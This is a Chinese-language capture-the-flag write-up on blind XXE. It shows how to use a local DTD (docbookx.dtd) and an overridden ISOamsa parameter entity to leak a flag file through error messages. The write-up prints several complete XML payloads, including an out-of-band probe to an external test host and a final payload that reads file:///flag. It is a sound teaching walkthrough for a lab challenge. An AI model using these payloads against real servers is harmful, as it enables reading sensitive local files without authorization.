考点:通过xml的参数实体的路径爆错读取敏感信息
知识点1:参考

该文章通过枚举文件,找到了不同系统可能本地含有的dtd文件。
例如linux可能存在/usr/share/yelp/dtd/docbookx.dtd
并且该dtd中引用了一个ISOamsa参数实体,因此我们可以定义ISOamsa的内容进行某些攻击。
做题:
1.开启bp,点击submit抓包。


2.发现通过json格式传送message参数,此处尝试使用xml格式传送数据,如果可以的话,就可以考虑使用xxe进行攻击。
构造xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
]>
<message>&test;</message> 
服务器成功解析,接下来看看能不能连接外网:
测试xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
<!ENTITY % a SYSTEM "https://bbbbb.free.beeceptor.com">
%a;
]>
<message>&test;</message>

'https://bbbbb.free.beeceptor.com'是在Beeceptor上获取的一个用于测试的域名,可以记录访问日志。在Beeceptor上并没有发现有连接的日志,因此无法联通外网。也就无法通过http协议将读取到的信息带出来。
测试引用本地存在的文件:
测试引用本地不存在的文件:

可以发现返回的结果不同, 当存在该文件时返回internal error,可以通过这个特点可以试出flag的存放位置,当引用file:///flag时返回internal error,因此flag在根目录下。
接下来就是读取flag,flag可以使用file协议读取,但因为页面无回显以及无法对外通信,我们看不到读取的内容,接下来就是解决如何把读到的内容显示出来。
注意到当路径错误时会返回错误路径,这让我联想到sql的报错注入,如果把file协议读取到的信息
拼接到路径中是否就可以通过报错显示出来了?
给出paylaod:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY % test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>对实体内%,' ,& 进行unicode编码防止报错:
% => % ' => ' & => &
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#37; test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>%local_dtd;%getflag;%test;解析过程:
1.初始状态
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#37; test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
2.解析%local_dtd;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY %#37; test SYSTEM 'file:///%flag;'>">
%getflag;%test;
3.解析%getflag;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % test SYSTEM 'file:///%flag;'>
%test;
4.解析%test;
此时flag会被拼接到test的路径中,并读取路径,之后就是报错,我们就可以从报错的路径中看到flag